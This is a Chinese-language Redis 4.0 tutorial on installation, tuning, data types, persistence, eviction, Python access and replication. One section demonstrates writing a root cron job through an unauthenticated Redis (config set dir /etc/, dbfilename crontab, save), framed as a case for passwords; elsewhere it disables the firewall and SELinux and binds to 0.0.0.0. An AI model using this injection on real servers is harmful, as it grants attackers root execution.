文章目录
一、redis介绍与环境部署
1.1 什么是redis
Redis(Remote Dictionary Server)是一个开源的内存中数据结构存储系统,它可以用作数据库、缓存和消息中间件。它支持多种数据结构,包括字符串(Strings)、哈希(Hashes)、列表(Lists)、集合(Sets)、有序集合(Sorted Sets)等。Redis的特点包括:
-
内存存储:Redis的数据存储在内存中,因此读写速度非常快。它也可以将数据异步写入磁盘,以实现持久化。
-
支持多种数据结构:Redis支持丰富的数据结构,可以满足各种场景下的需求,例如缓存、计数器、消息队列等。
-
持久化:Redis支持将数据持久化到磁盘,以便在服务器重启时恢复数据。它提供了两种持久化方式:快照(Snapshot)和日志(Append-only file)。
-
高可用性:Redis支持主从复制(Master-Slave Replication),可以通过复制实现数据的备份和读写分离,提高系统的可用性和扩展性。
-
事务支持:Redis支持事务,可以将多个命令打包成一个原子操作执行,保证操作的一致性。
-
原子性操作:Redis的命令是原子性的,即一个命令的执行不会被其他命令中断,确保数据的完整性。
-
发布/订阅功能:Redis支持发布/订阅模式,可以实现消息的发布和订阅,用于构建分布式系统中的通信机制。
-
灵活的配置:Redis提供了丰富的配置选项,可以根据实际需求对其进行灵活配置和调优。
由于Redis具有高性能、灵活性和可靠性等特点,因此在诸如缓存、会话存储、实时分析、消息队列等各种场景下被广泛应用
1.2 部署环境
主机名 | IP | 用途 |
---|---|---|
redis01 | 192.168.100.165 | redis-master |
[root@Redis01 ~]# cat /etc/redhat-release
CentOS Linux release 7.5.1804 (Core)
[root@Redis01 ~]# uname -r
3.10.0-862.3.3.el7.x86_64
[root@Redis01 ~]# systemctl disable firewalld --now
[root@Redis01 ~]# setenforce 0
setenforce: SELinux is disabled
[root@Redis01 ~]# sestatus
SELinux status: disabled
二、Redis 4.0源码编译安装
2.1 redis下载地址
2.2 编译安装
[root@Redis01 ~]# yum -y install wget gcc gcc-c++ make tar openssl openssl-devel cmake
[root@Redis01 ~]# tar xf redis-4.0.11.tar.gz -C /usr/src/
[root@Redis01 ~]# cd /usr/src/redis-4.0.11/
[root@Redis01 redis-4.0.11]# make # 编译Redis源码
[root@Redis01 redis-4.0.11]# make MALLOC=jemalloc # 编译使用jemalloc内存分配器
[root@Redis01 redis-4.0.11]# make PREFIX=/usr/local/redis install # 安装到指定目录
[root@Redis01 redis-4.0.11]# cd /usr/local/redis/
[root@Redis01 redis]# ls
bin
[root@Redis01 redis]# mkdir -p /usr/local/redis/conf
[root@Redis01 redis]# cp /usr/src/redis-4.0.11/redis.conf /usr/local/redis/conf/
[root@Redis01 redis]# cp /usr/src/redis-4.0.11/sentinel.conf /usr/local/redis/conf/
[root@Redis01 src]# ln -s /usr/local/redis/bin/* /usr/local/bin/ # 创建符号链接到可执行文件
[root@Redis01 src]# which redis-server # 查找redis-server的安装路径
/usr/local/bin/redis-server
[root@Redis01 src]# redis-server --version # 查看redis-server版本信息
Redis server v=4.0.11 sha=00000000:0 malloc=jemalloc-4.0.3 bits=64 build=feb84973011f5402
[root@Redis01 src]# redis-cli --version # 查看redis-cli版本信息
redis-cli 4.0.11
三、Redis 启动和优化
3.1 优化配置文件
[root@Redis01 redis]# pwd
/usr/local/redis
[root@Redis01 redis]# cp conf/redis.conf{,.bak} # 备份原始的redis.conf文件
[root@Redis01 redis]# egrep -v "^$|^#" conf/redis.conf.bak > conf/redis.conf # 去除空行和注释行后生成简化的redis.conf文件
[root@Redis01 redis]# mkdir -p /data/redis/ # 创建redis数据目录
3.2 修配redis.conf
[root@Redis01 redis]# cat -n conf/redis.conf | sed -n '1p;3p;4p;7p;9p;11p'
1 bind 127.0.0.1
3 port 6379
4 tcp-backlog 511
7 daemonize no
9 pidfile /var/run/redis_6379.pid
11 logfile ""
21 dir ./
[root@Redis01 redis]# cat conf/redis.conf > conf/redis.conf.bak # 备份原始的redis.conf文件
[root@Redis01 redis]# sed -i 's/^bind .*/bind 0.0.0.0/' conf/redis.conf # 修改监听地址为0.0.0.0
[root@Redis01 redis]# sed -i 's/^port .*/port 6379/' conf/redis.conf # 修改监听端口为6379
[root@Redis01 redis]# sed -i 's/^tcp-backlog .*/tcp-backlog 1024/' conf/redis.conf # 修改TCP连接数为1024
[root@Redis01 redis]# sed -i 's/^daemonize .*/daemonize yes/' conf/redis.conf # 修改是否后台启动为是
[root@Redis01 redis]# sed -i 's|^pidfile .*|pidfile /data/redis/redis.pid|' conf/redis.conf # 修改pid文件存放目录为/data/redis/redis.pid
[root@Redis01 redis]# sed -i 's|^logfile ""|logfile "/data/redis/redis.log"|' conf/redis.conf # 修改日志文件存放目录为/data/redis/redis.log
[root@Redis01 redis]# sed -i 's|^dir .*|dir /data/redis/|' conf/redis.conf # 修改工作目录为/data/redis/
这个过程修改了Redis的配置文件/usr/local/redis/conf/redis.conf
中的特定参数。首先通过sed
命令将原始的配置文件中的参数替换成新的设置,实现了以下修改:
- 将
bind
参数修改为0.0.0.0
,表示Redis将监听所有的网络接口。 - 将
port
参数修改为6379
,表示Redis将监听的端口号。 - 将
tcp-backlog
参数修改为1024
,表示TCP连接数。 - 将
daemonize
参数修改为yes
,表示Redis将以守护进程的方式运行。 - 将
pidfile
参数修改为/data/redis/redis.pid
,表示Redis的PID文件存放目录。 - 将
logfile
参数修改为/data/redis/redis.log
,表示Redis的日志文件存放目录。 - 将
dir
参数修改为/data/redis/
,表示Redis的工作目录。
3.3 Redis 启动和关闭
[root@Redis01 ~]# redis-server /usr/local/redis/conf/redis.conf # 启动Redis服务器
[root@Redis01 ~]# netstat -antup | grep redis # 查看Redis服务器监听的端口
tcp 0 0 0.0.0.0:6379 0.0.0.0:* LISTEN 18455/redis-server
[root@Redis01 ~]# redis-cli shutdown # 关闭Redis服务器
[root@Redis01 ~]# netstat -antup | grep redis # 确认Redis服务器已关闭
[root@Redis01 ~]# redis-server /usr/local/redis/conf/redis.conf # 再次启动Redis服务器
[root@Redis01 ~]# redis-cli -h 127.0.0.1 # 连接到Redis服务器
127.0.0.1:6379> # 进入Redis命令行交互界面
127.0.0.1:6379> exit # 退出Redis命令行交互界面
展示了如何启动、关闭和连接Redis服务器。首先使用redis-server
命令启动Redis服务器,并指定配置文件路径。然后通过netstat
命令检查Redis服务器是否成功监听了指定的端口。接着使用redis-cli shutdown
命令关闭Redis服务器,并再次通过netstat
命令确认服务器已关闭。最后再次启动Redis服务器,并通过redis-cli
命令连接到服务器,进行命令行交互操作,最后使用exit
退出交互界面。
3.4 参数优化调整
[root@Redis01 ~]# echo "* - nofile 10240" >> /etc/security/limits.conf # 将文件描述符限制设置为10240
[root@Redis01 ~]# exit # 退出当前登录会话,使新的文件描述符限制生效
[root@Redis01 ~]# ulimit -n # 检查文件描述符限制是否已经生效,预期结果为10240
[root@Redis01 ~]# sysctl -a | grep somaxconn # 查看当前系统的TCP连接数限制
net.core.somaxconn = 128
[root@Redis01 ~]# echo "net.core.somaxconn = 10240" >> /etc/sysctl.conf # 将TCP连接数限制设置为10240
[root@Redis01 ~]# sysctl -p # 重新加载sysctl.conf配置文件使修改生效
net.core.somaxconn = 10240
[root@Redis01 ~]# echo "vm.overcommit_memory = 1" >> /etc/sysctl.conf # 将内存分配策略设置为允许超额抢占
[root@Redis01 ~]# sysctl -p # 重新加载sysctl.conf配置文件使修改生效
vm.overcommit_memory = 1
[root@Redis01 ~]# echo never > /sys/kernel/mm/transparent_hugepage/enabled # 禁用巨大内存页支持
[root@Redis01 ~]# cat /sys/kernel/mm/transparent_hugepage/enabled # 检查巨大内存页支持是否已禁用
always madvise [never]
[root@Redis01 ~]# echo never > /sys/kernel/mm/transparent_hugepage/defrag # 禁用巨大内存页支持的碎片整理
[root@Redis01 ~]# cat /sys/kernel/mm/transparent_hugepage/defrag # 检查巨大内存页支持的碎片整理是否已禁用
always madvise [never]
[root@Redis01 ~]# echo 'echo never > /sys/kernel/mm/transparent_hugepage/enabled' >> /etc/rc.local # 将禁用巨大内存页支持的命令添加到/etc/rc.local文件,以便开机自动执行
[root@Redis01 ~]# echo 'echo never > /sys/kernel/mm/transparent_hugepage/defrag' >> /etc/rc.local # 将禁用巨大内存页支持碎片整理的命令添加到/etc/rc.local文件,以便开机自动执行
[root@Redis01 ~]# tail -2 /etc/rc.local # 检查命令是否已添加到/etc/rc.local文件
echo never > /sys/kernel/mm/transparent_hugepage/enabled
echo never > /sys/kernel/mm/transparent_hugepage/defrag
这个过程对系统进行了优化调整,主要包括:
- 增加了文件描述符限制到10240,以满足Redis等高性能软件对文件描述符数量的需求。
- 将TCP连接数限制设置为10240,以提高系统的并发连接能力。
- 将内存分配策略设置为允许超额抢占,以确保后台保存操作不会受到限制。
- 禁用了系统内核的巨大内存页支持,以避免与Redis的性能冲突,并将禁用命令添加到开机自启动项中,以确保系统重启后这些设置仍然有效。
四、Redis使用
4.1 使用redis-cli客户端登陆redis-server:
[root@Redis01 ~]# redis-cli # 连接到本地Redis服务器
127.0.0.1:6379> exit # 退出客户端
[root@Redis01 ~]# redis-cli -h localhost -p 6379 # 以指定主机和端口连接到Redis服务器
localhost:6379> exit # 退出客户端
4.2 Redis字符串操作
[root@Redis01 ~]# redis-cli # 连接到本地Redis服务器
127.0.0.1:6379> set name Mr.chen # 添加键(key)和值(value)
OK
127.0.0.1:6379> get name # 根据键获取值
"Mr.chen"
127.0.0.1:6379> set name yunjisuan # 修改键的值
OK
127.0.0.1:6379> get name # 再次获取键的值
"yunjisuan"
127.0.0.1:6379> del name # 删除键
(integer) 1
127.0.0.1:6379> GET name # 使用不区分大小写的命令获取键的值,返回nil代表键不存在
(nil)
127.0.0.1:6379> set NAME test # 添加键名为大写的键和值
OK
127.0.0.1:6379> get name # 获取小写键名的值,返回nil
(nil)
127.0.0.1:6379> get NAME # 区分大小写地获取大写键名的值
"test"
4.3 非交互式操作Redis服务器
[root@Redis01 ~]# redis-cli set name welcome # 设置键为welcome的值为welcome
OK
[root@Redis01 ~]# redis-cli get name # 获取键为name的值,返回welcome
"welcome"
[root@Redis01 ~]# redis-cli del name # 删除键为name的键值对,返回1表示删除成功
(integer) 1
[root@Redis01 ~]# redis-cli get name # 再次获取已删除的键的值,返回nil
(nil)
这个过程展示了如何使用redis-cli客户端与Redis服务器进行交互,包括登陆服务器、进行字符串操作、以及非交互式操作。通过这些操作,可以对Redis进行键值对的增删改查等操作。
五、Reids 列表集合简单操作
5.1 Redis列表的操作
连接到Redis服务器并执行以下操作:
[root@Redis01 ~]# redis-cli
127.0.0.1:6379> lpush names yun1 # 从左侧向列表names推入值yun1
(integer) 1
127.0.0.1:6379> lpush names yun2 # 从左侧向列表names推入值yun2
(integer) 2
127.0.0.1:6379> lrange names 0 -1 # 查看列表names所有值
1) "yun2"
2) "yun1"
在上述操作中,lpush
命令用于将值推入列表的左侧,lrange
命令用于检索列表中的所有值。其他操作与此类似。
5.2 Redis集合的操作
连接到Redis服务器并执行以下操作:
127.0.0.1:6379> sadd ages 25 # 向集合ages中添加元素25
(integer) 1
127.0.0.1:6379> sadd ages 30 # 向集合ages中添加元素30
(integer) 1
127.0.0.1:6379> smembers ages # 查看集合ages中的所有元素
1) "25"
2) "30"
在上述操作中,sadd
命令用于向集合添加元素,smembers
命令用于检索集合中的所有元素。其他操作与此类似。
在这些示例中,我们展示了如何使用Redis的列表和集合。列表是有序的、可重复的元素的集合,而集合是无序的、不重复的元素的集合。通过这些命令,可以方便地对Redis中的数据进行操作和管理。
六、Redis 的bash和订阅
6.1 Redis的hash操作
使用redis-cli连接到Redis服务器并执行以下操作:
127.0.0.1:6379> hset info name 'yunjisuan' # 设置hash中的键值对
(integer) 1
127.0.0.1:6379> hset info age 25
(integer) 1
127.0.0.1:6379> hset info location 'beijing'
(integer) 1
127.0.0.1:6379> hgetall info # 获取hash中的所有键值对
1) "name"
2) "yunjisuan"
3) "age"
4) "25"
5) "location"
6) "beijing"
127.0.0.1:6379> hget info name # 获取指定键的值
"yunjisuan"
127.0.0.1:6379> hdel info name age # 删除指定的键
(integer) 2
127.0.0.1:6379> hgetall info # 再次查看hash中的所有键值对
1) "location"
2) "beijing"
127.0.0.1:6379> del info # 删除整个hash
(integer) 1
127.0.0.1:6379> hmset info name 'yunjisuan' age 25 location 'beijing' # 批量设置hash中的键值对
OK
127.0.0.1:6379> hgetall info # 再次获取hash中的所有键值对
1) "name"
2) "yunjisuan"
3) "age"
4) "25"
5) "location"
6) "beijing"
6.2 Redis的订阅操作
在两个不同的终端窗口中执行以下操作:
# 终端1:开启redis的订阅功能
[root@Redis01 ~]# redis-cli
127.0.0.1:6379> subscribe yunjisuan # 订阅频道名为yunjisuan的消息
Reading messages... (press Ctrl-C to quit)
1) "subscribe"
2) "yunjisuan"
3) (integer) 1
# 终端2:向频道yunjisuan发布消息
[root@Redis01 ~]# redis-cli
127.0.0.1:6379> publish yunjisuan 'welcome' # 向频道yunjisuan推送消息welcome
(integer) 2 # 推送成功的订阅者数量
127.0.0.1:6379> publish yunjisuan '很高兴'
(integer) 2
127.0.0.1:6379> publish yunjisuan 'welcome'
(integer) 3
通过hash操作,我们可以方便地存储和检索多个键值对的组合,类似于Python中的字典。而通过订阅操作,我们可以将消息发布到指定的频道,并由订阅者接收这些消息,实现简单的消息传递功能。
七、使用循环批量添加数据
7.1 使用Shell批量往Redis服务器上插入数据
[root@Redis01 ~]# for line in $(seq -w 50); do redis-cli set name_${line} value_${line}; done
7.2 查看key的情况
127.0.0.1:6379> keys * # 查看所有key命令,不建议使用,上千万的key会使Redis服务器堵塞
127.0.0.1:6379> randomkey # 随机返回一个key
"name_44"
127.0.0.1:6379> randomkey
"name_01"
127.0.0.1:6379> scan 0 # 分页查看key
1) "44"
2) 1) "name_34"
2) "name_13"
3) "name_15"
4) "name_39"
5) "name_42"
6) "names"
7) "name_18"
8) "name_43"
9) "name_32"
10) "name_50"
在Redis中,使用keys *
命令查看所有的key时会返回所有匹配的key,但是不建议在生产环境中使用,特别是当key数量非常多时,这个操作可能会导致Redis服务器堵塞。相反,可以使用randomkey
命令随机返回一个key,或者使用scan
命令进行分页查看key。
八、Redis info信息查看
# 使用redis-cli命令查看Redis服务器的状态信息
[root@Redis01 ~]# redis-cli info
# Server 服务器的信息
redis_version:4.0.11
redis_git_sha1:00000000
redis_git_dirty:0
redis_build_id:feb84973011f5402
redis_mode:standalone
os:Linux 3.10.0-862.3.3.el7.x86_64 x86_64
arch_bits:64
multiplexing_api:epoll
atomicvar_api:atomic-builtin
gcc_version:4.8.5
process_id:19450
run_id:119ba49e27f25b118aaeb8829c60f32771906687
tcp_port:6379
uptime_in_seconds:88667
uptime_in_days:1
hz:10
lru_clock:7188187
executable:/root/redis-server
config_file:/usr/local/redis/conf/redis.conf
# Clients 已连接客户端信息
connected_clients:1
client_longest_output_list:0
client_biggest_input_buf:0
blocked_clients:0
# Memory 内存信息
used_memory:853016
used_memory_human:833.02K
used_memory_rss:2457600
used_memory_rss_human:2.34M
used_memory_peak:931760
used_memory_peak_human:909.92K
used_memory_peak_perc:91.55%
used_memory_overhead:838934
used_memory_startup:786592
used_memory_dataset:14082
used_memory_dataset_perc:21.20%
total_system_memory:1021898752
total_system_memory_human:974.56M
used_memory_lua:37888
used_memory_lua_human:37.00K
maxmemory:0
maxmemory_human:0B
maxmemory_policy:noeviction
mem_fragmentation_ratio:2.88
mem_allocator:jemalloc-4.0.3
active_defrag_running:0
lazyfree_pending_objects:0
# Persistence 持久化相关信息
loading:0
rdb_changes_since_last_save:0
rdb_bgsave_in_progress:0
rdb_last_save_time:1533913162
rdb_last_bgsave_status:ok
rdb_last_bgsave_time_sec:0
rdb_current_bgsave_time_sec:-1
rdb_last_cow_size:303104
aof_enabled:0
aof_rewrite_in_progress:0
aof_rewrite_scheduled:0
aof_last_rewrite_time_sec:-1
aof_current_rewrite_time_sec:-1
aof_last_bgrewrite_status:ok
aof_last_write_status:ok
aof_last_cow_size:0
# Stats 一般统计信息
total_connections_received:129
total_commands_processed:226
instantaneous_ops_per_sec:0
total_net_input_bytes:8324
total_net_output_bytes:192093
instantaneous_input_kbps:0.00
instantaneous_output_kbps:0.00
rejected_connections:0
sync_full:0
sync_partial_ok:0
sync_partial_err:0
expired_keys:0
expired_stale_perc:0.00
expired_time_cap_reached_count:0
evicted_keys:0
keyspace_hits:29
keyspace_misses:3
pubsub_channels:0
pubsub_patterns:0
latest_fork_usec:92
migrate_cached_sockets:0
slave_expires_tracked_keys:0
active_defrag_hits:0
active_defrag_misses:0
active_defrag_key_hits:0
active_defrag_key_misses:0
# Replication 主从信息
role:master
connected_slaves:0
master_replid:3a56d66723917199a5a86317dfecefda5588c0cc
master_replid2:0000000000000000000000000000000000000000
master_repl_offset:0
second_repl_offset:-1
repl_backlog_active:0
repl_backlog_size:1048576
repl_backlog_first_byte_offset:0
repl_backlog_histlen:0
# CPU CPU相关信息
used_cpu_sys:16.81
used_cpu_user:8.75
used_cpu_sys_children:0.02
used_cpu_user_children:0.00
# Cluster 集群相关信息
cluster_enabled:0
# Keyspace 数据库相关信息
db0:keys=55,expires=0,avg_ttl=0
这是从Redis服务器获取的状态信息示例。通过redis-cli info
命令,可以获取Redis服务器的各种信息,包括服务器版本、运行模式、内存使用情况、持久化信息、统计信息、主从复制信息等。
九、Reids有无密码安全度
9.1 给Redis增加密码的两种方式
通过Redis配置文件增加密码
```bash
[root@Redis01 ~]# echo 'requirepass "yunjisuan"' >> /usr/local/redis/conf/redis.conf
重启Redis:
[root@Redis01 ~]# redis-cli shutdown
[root@Redis01 ~]# redis-server /usr/local/redis/conf/redis.conf
验证密码:
[root@Redis01 ~]# redis-cli
127.0.0.1:6379> keys *
(error) NOAUTH Authentication required. # 需要验证才能查看,密码起作用了
127.0.0.1:6379> auth yunjisuan # 通过auth 密码的方式进行验证
OK
使用交互式的方式给Redis增加密码(无需重启Redis)
删除配置文件中的密码参数:
[root@Redis01 ~]# sed -i '$d' /usr/local/redis/conf/redis.conf
重启Redis:
[root@Redis01 ~]# redis-cli -a yunjisuan shutdown
[root@Redis01 ~]# redis-server /usr/local/redis/conf/redis.conf
交互式登录Redis并设置密码:
[root@Redis01 ~]# redis-cli
127.0.0.1:6379> config get requirepass # 获取Redis配置的密码信息
1) "requirepass"
2) "" # 此时密码为空
127.0.0.1:6379> config set requirepass yunjisuan # 给Redis设置密码
OK
127.0.0.1:6379> auth yunjisuan # 进行密码验证
OK
127.0.0.1:6379> config get requirepass # 查看密码配置信息
1) "requirepass"
2) "yunjisuan" # 现在有密码了
127.0.0.1:6379> config rewrite # 将配置重写进行保存
OK
9.2 入侵无密码Redis服务器演示
[root@Redis01 ~]# redis-cli -h 127.0.0.1 config set dir /etc/
OK
[root@Redis01 ~]# redis-cli -h 127.0.0.1 config set dbfilename "crontab"
OK
[root@Redis01 ~]# echo "* * * * * root echo 'attack'" >> /tmp/attack
[root@Redis01 ~]# cat /tmp/attack # 这个文件内容上下必须各有两个回车
* * * * * root echo 'attack'
[root@Redis01 ~]# cat /tmp/attack | redis-cli -h 127.0.0.1 -x set attack
OK
[root@Redis01 ~]# redis-cli -h 127.0.0.1 save
OK
查看/etc/crontab
文件,会发现已经被注入了一条恶意定时任务,Redis被成功攻击。
[root@Redis01 ~]# cat /etc/crontab
REDIS0008 redis-ver4.0.11
略
* * * * * root echo 'attack' # 这里出现了这条定时任务,这条任务每分钟都会被触发
在/etc/crontab
文件中,出现了一条恶意的定时任务:
* * * * * root echo 'attack'
这条任务每分钟都会执行一次,并输出 ‘attack’,说明Redis服务器已经被成功攻击。
这里演示了给Redis服务器增加密码的两种方式,以及演示了无密码Redis服务器被入侵的过程。在生产环境中,务必要给Redis设置密码以提高安全性。
十、Redis的RDB储存方式
10.1 Redis的运行方式说明
Redis可以以不同的方式运行,包括关闭所有持久化存储、开启RDB(Redis Database)或AOF(Append Only File)持久化存储。关闭持久化存储会导致Redis重启后数据丢失。RDB和AOF都会对性能产生影响,因此建议将持久化操作放在从库上进行。
10.2 Redis RDB存储方式
#与RDB相关的配置文件信息如下:
- dir /data/redis/:RDB存储的路径
- dbfilename dump.rdb:RDB存储文件的名字
- save 60 10000:当60秒内有10000个键发生改变时,触发RDB存储
- save 300 10:当300秒内有10个键发生改变时,触发RDB存储
- save 900 1:当900秒内有1个键发生改变时,触发RDB存储
- rdbcompression no:最好关闭RDB压缩,因为会影响CPU性能
10.3 设置开启或关闭RDB存储
关闭RDB存储:
[root@Redis01 ~]# redis-cli config set save ""
OK
[root@Redis01 ~]# redis-cli config rewrite
OK
开启RDB存储:
[root@Redis01 ~]# redis-cli config set save "180 1 120 10 60 10000"
OK
[root@Redis01 ~]# redis-cli config rewrite
OK
10.4 进行数据写入,观察RDB存储日志
# 输入1万条数据
for line in `seq -w 10000`; do
redis-cli set key_${line} value1_${line};
done
这段代码通过循环设置了一万条数据到 Redis 中,每个键值对的键名格式为 key_XXXXX
,其中 XXXXX
是从 00001
到 10000
的五位数字,对应的值为 value1_XXXXX
。
写入10000条数据后,触发了RDB存储。日志信息总结如下:
- 10000条数据改变在60秒内,触发了RDB存储
- 后台进程开始进行RDB存储
- 存储成功结束
10.5 使用bgsave命令触发RDB存储,观察存储日志
执行阻塞式保存命令:
[root@Redis01 ~]# redis-cli save
OK
执行后台保存命令:
[root@Redis01 ~]# redis-cli bgsave
Background saving started
通过bgsave
命令可以立即触发RDB存储,而不会阻塞前端客户端数据输入。日志信息如下:
- 使用
save
命令触发了存储 - 使用
bgsave
命令后台启动了新进程进行存储 - 存储成功结束
十一、Reids 的AOF存储方式
11.1 动态开启或者关闭AOF
redis-cli config set appendonly yes # 开启AOF持久化
redis-cli config rewrite # 保存配置
redis-cli config set appendonly no # 关闭AOF持久化
redis-cli config rewrite # 保存配置
11.2 写入数据,观察AOF。多次运行,AOF文件不断增大,RDB文件大小不变
# 查看AOF和RDB文件大小
du -sh appendonly.aof
du -sh dump.rdb
# 写入数据
for line in `seq -w 100`; do
redis-cli set key_${line} value_${line};
done
# 查看AOF和RDB文件大小
du -sh appendonly.aof
du -sh dump.rdb
11.3 重写AOF文件,整理相同的key,写入最后的有效值
# 清空AOF文件
> appendonly.aof
ls
du -sh appendonly.aof
# 手动触发AOF重写
redis-cli bgrewriteaof
du -sh appendonly.aof
# 清空AOF文件
> appendonly.aof
du -sh appendonly.aof
# 设置和获取AOF自动重写配置
redis-cli config set auto-aof-rewrite-min-size 100000
redis-cli config get auto-aof-rewrite*
redis-cli config rewrite
# 测试AOF自动重写
for line in `seq -w 1000`; do
redis-cli set key2_${line} value2_${line};
done
du -sh appendonly.aof
for line in `seq -w 1000`; do
redis-cli del key2_${line} value2_${line};
done
du -sh appendonly.aof
在Redis中,AOF(Append Only File)持久化存储会记录每次写操作,类似于MySQL的binlog。可以动态开启或关闭AOF持久化。在进行数据写入时,AOF文件会不断增大,而RDB文件大小不会改变。
AOF文件的重写能够整理相同的key,仅记录最后的有效值,从而减小文件体积。可以手动触发AOF重写,也可以配置自动触发重写机制。默认情况下,AOF重写会在AOF文件大小达到一定阈值时自动触发。
十二、Redis内存设置和删除算法
# 手动清空redis里所有数据
redis-cli flushall
12.1 redis的键设置有效期,过期自动删除
# 设置键名为name的键值为yunjisuan
redis-cli set name yunjisuan
# 查看键名为name的键的剩余存活时间(TTL)
redis-cli ttl name
# 设置键名为name的键的过期时间为10秒
redis-cli expire name 10
# 查看键名为name的键的剩余存活时间(TTL)
redis-cli ttl name
12.2 查看和设置最大内存限制
# 查看当前的最大内存限制
redis-cli config get maxmemory
# 将最大内存限制设置为1M
redis-cli config set maxmemory 1M
# 再次查看最大内存限制
redis-cli config get maxmemory
12.3 可选择的删除算法
# 查看当前的内存清理算法
redis-cli config get maxmemory-policy
# 将删除算法设置为volatile-lru
redis-cli config set maxmemory-policy volatile-lru
# 再次查看删除算法
redis-cli config get maxmemory-policy
12.4 模拟超过内存
# 设置大量键值对,使内存超过限制
for line in `seq -w 10000`; do
redis-cli set key_${line} value_${line};
done
12.5 设置删除算法
# 将删除算法设置为volatile-lru
redis-cli config set maxmemory-policy volatile-lru
# 再次查看删除算法
redis-cli config get maxmemory-policy
## 算法测试
# 获取指定键名的键值
redis-cli get key_00111
# 设置键名为key_00111的键的过期时间为3600秒
redis-cli expire key_00111 3600
# 查看键名为key_00111的键的剩余存活时间(TTL)
redis-cli ttl key_00111
# 再次获取指定键名的键值(已过期)
redis-cli get key_00111
十三、Redis 禁用危险命令
# redis禁用的命令
# FLUSHALL和FLUSHDB会清除redis的数据,比较危险
# KEYS在键过多的时候使用会阻塞业务请求
# redis禁用危险命令配置代码如下(写入配置文件即可,此配置无法平滑更新)
# 将配置加入redis.conf配置文件
echo 'rename-command FLUSHALL ""' >> /usr/local/redis/conf/redis.conf
echo 'rename-command FLUSHDB ""' >> /usr/local/redis/conf/redis.conf
echo 'rename-command KEYS ""' >> /usr/local/redis/conf/redis.conf
tail -3 /usr/local/redis/conf/redis.conf
# 重启redis-server进行测试
redis-cli shutdown
redis-server /usr/local/redis/conf/redis.conf
# 测试被屏蔽的危险命令
redis-cli flushall
redis-cli flushdb
redis-cli
127.0.0.1:6379> keys *
十四、使用Python操作Redis
# Python安装redis扩展
yum -y install epel-release
yum -y install python2-pip
pip install redis
# 利用python进行redis数据的读写
python
>>> import redis
>>> r = redis.Redis(host='127.0.0.1', port=6379, password='yunjisuan', db=0)
>>> r.set('key_test', 'value_test')
True
>>> value = r.get('key_test')
>>> print(value)
value_test
>>> exit()
redis-cli -a yunjisuan get key_test
Warning: Using a password with '-a' option on the command line interface may not be safe.
"value_test"
十五、Reids主从
15.1 Redis主从服务器环境的搭建
主机名 | IP | 用途 |
---|---|---|
redis01 | 192.168.100.165 | redis-master |
redis02 | 192.168.100.164 | redis-slaveA |
redis03 | 192.168.100.163 | redis-slaveB |
15.2 环境要求与Redis基础编译部署调优
# 操作系统环境要求
cat /etc/redhat-release
CentOS Linux release 7.5.1804 (Core)
uname -r
3.10.0-862.3.3.el7.x86_64
# 关闭防火墙和SELinux
systemctl stop firewalld
systemctl disable firewalld
setenforce 0
sestatus
# 安装编译所需依赖
yum -y install wget gcc gcc-c++ make tar openssl openssl-devel cmake
# 下载、编译、安装Redis
tar xf redis-4.0.11.tar.gz -C /usr/src/
cd /usr/src/redis-4.0.11/
make
make MALLOC=jemalloc
make PREFIX=/usr/local/redis install
# 创建工作目录和配置文件
cd /usr/local/redis/
mkdir -p conf
cp /usr/src/redis-4.0.11/redis.conf /usr/local/redis/conf/
cp /usr/src/redis-4.0.11/sentinel.conf /usr/local/redis/conf/
ln -s /usr/local/redis/bin/* /usr/local/bin/
# 修改Redis配置文件
sed -i 's/^bind 127.0.0.1/bind 0.0.0.0/' conf/redis.conf
sed -i 's/^port 6379/port 6379/' conf/redis.conf
sed -i 's/^tcp-backlog 511/tcp-backlog 1024/' conf/redis.conf
sed -i 's/^daemonize no/daemonize yes/' conf/redis.conf
sed -i 's/^pidfile \/var\/run\/redis_6379.pid/pidfile \/data\/redis\/redis.pid/' conf/redis.conf
sed -i 's/^logfile ""/logfile "\/data\/redis\/redis.log"/' conf/redis.conf
sed -i 's/^dir .\//dir \/data\/redis\//' conf/redis.conf
# 基础调优设置
echo "* - nofile 10240" >> /etc/security/limits.conf
echo "net.core.somaxconn = 10240" >> /etc/sysctl.conf
echo "vm.overcommit_memory = 1" >> /etc/sysctl.conf
sysctl -p
echo never > /sys/kernel/mm/transparent_hugepage/enabled
echo never > /sys/kernel/mm/transparent_hugepage/defrag
echo 'echo never > /sys/kernel/mm/transparent_hugepage/enabled' >> /etc/rc.local
echo 'echo never > /sys/kernel/mm/transparent_hugepage/defrag' >> /etc/rc.local
# 启动Redis服务器
redis-server /usr/local/redis/conf/redis.conf
netstat -antup | grep redis
15.3 Redis主从同步服务器搭建
# 在从库上配置主从同步
redis-cli shutdown
echo "SLAVEOF 192.168.200.165 6379" >> /usr/local/redis/conf/redis.conf
> /data/redis/redis.log
redis-server /usr/local/redis/conf/redis.conf
netstat -antup | grep redis
15.4 加密主从同步
为redis-master平滑设置连接密码
[root@Redis01 ~]# redis-cli config get requirepass
1) "requirepass"
2) ""
[root@Redis01 ~]# redis-cli config set requirepass 'yunjisuan'
OK
[root@Redis01 ~]# redis-cli config get requirepass
(error) NOAUTH Authentication required.
[root@Redis01 ~]# redis-cli -a yunjisuan config get requirepass
Warning: Using a password with '-a' option on the command line interface may not be safe.
1) "requirepass"
2) "yunjisuan"
[root@Redis01 ~]# redis-cli -a yunjisuan config rewrite
Warning: Using a password with '-a' option on the command line interface may not be safe.
OK
解释:
- 首先,检查当前Redis主节点是否设置了连接密码,结果显示未设置。
- 使用
config set requirepass 'yunjisuan'
命令为Redis主节点设置连接密码为’yunjisuan’。 - 然后再次检查连接密码,但由于已设置密码,需要通过认证才能执行此命令,所以出现了"NOAUTH Authentication required."的错误。
- 使用带有密码参数
-a yunjisuan
的redis-cli
命令再次检查连接密码,成功显示了设置的密码。 - 最后,使用相同带有密码参数的
redis-cli
命令重新加载配置,确保配置文件中也包含了新设置的密码。
为从库提供主从同步密码验证
[root@Redis02 ~]# redis-cli config get masterauth
1) "masterauth"
2) ""
[root@Redis02 ~]# redis-cli config set masterauth "yunjisuan"
OK
[root@Redis02 ~]# redis-cli config get masterauth
1) "masterauth"
2) "yunjisuan"
[root@Redis02 ~]# redis-cli config rewrite
OK
解释:
- 首先,检查当前Redis从节点是否设置了主从同步的认证密码,结果显示未设置。
- 使用
config set masterauth "yunjisuan"
命令为Redis从节点设置了主从同步的认证密码为’yunjisuan’。 - 然后再次检查主从同步认证密码,确保设置成功。
- 最后,重新加载配置文件,确保配置文件中也包含了新设置的主从同步认证密码。